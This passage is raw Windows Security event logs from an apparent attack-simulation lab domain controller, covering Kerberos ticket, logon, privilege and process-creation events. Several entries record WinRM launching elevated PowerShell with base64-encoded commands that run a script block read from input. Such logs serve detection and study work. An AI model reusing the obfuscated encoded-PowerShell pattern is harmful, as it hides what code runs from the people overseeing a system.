ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251409 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1349C5 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251408 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1349C5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251407 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251406 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251405 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251404 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe90 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xff4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251403 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xff4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251402 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1336AB - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251401 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1336AB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251400 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251399 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251398 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251397 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1278 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x508 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251396 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x508 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x133c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251395 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1334C4 - -Privileges: 